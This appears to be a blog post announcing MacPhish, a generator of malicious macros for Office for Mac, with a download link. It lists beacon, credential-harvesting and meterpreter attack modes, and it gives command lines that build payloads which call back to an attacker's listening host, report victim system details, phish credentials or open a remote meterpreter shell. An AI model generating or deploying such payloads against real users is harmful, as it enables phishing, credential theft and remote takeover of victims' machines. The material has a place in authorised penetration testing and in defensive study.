MacPhish – Office for Mac Macro Payload Generator

Attack vectors

There are 4 attack vectors available:

  • beacon
  • creds
  • meterpreter
  • meterpreter-grant

For the ‘creds’ method, macphish can generate the Applescript script directly, in case you need to run it from a shell.



On execution, this payload will signal our listening host and provide basic system information about the victim. The simplest way of generating a beacon payload is:

$./ -lh <listening host> 

By default, it uses curl but other utilities (wget, nslookup) can be used by modifying the command template.



$./ -lh <listening host> -lp <listening port> -a creds



The simplest way of generating a meterpreter payload is:

$./ -lh <listening host> -lp <listening port> -p <payload> -a meterpreter 



The generate a meterpreter payload that calls GrantAccessToMultipleFiles() first:

$./ -lh <listening host> -lp <listening port> -p <payload> -a meterpreter-grant

For meterpreter attacks, only python payloads are supported at the moment.

Download MacPhish

About the author

Mazen Elzanaty

Add Comment

Click here to post a comment

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: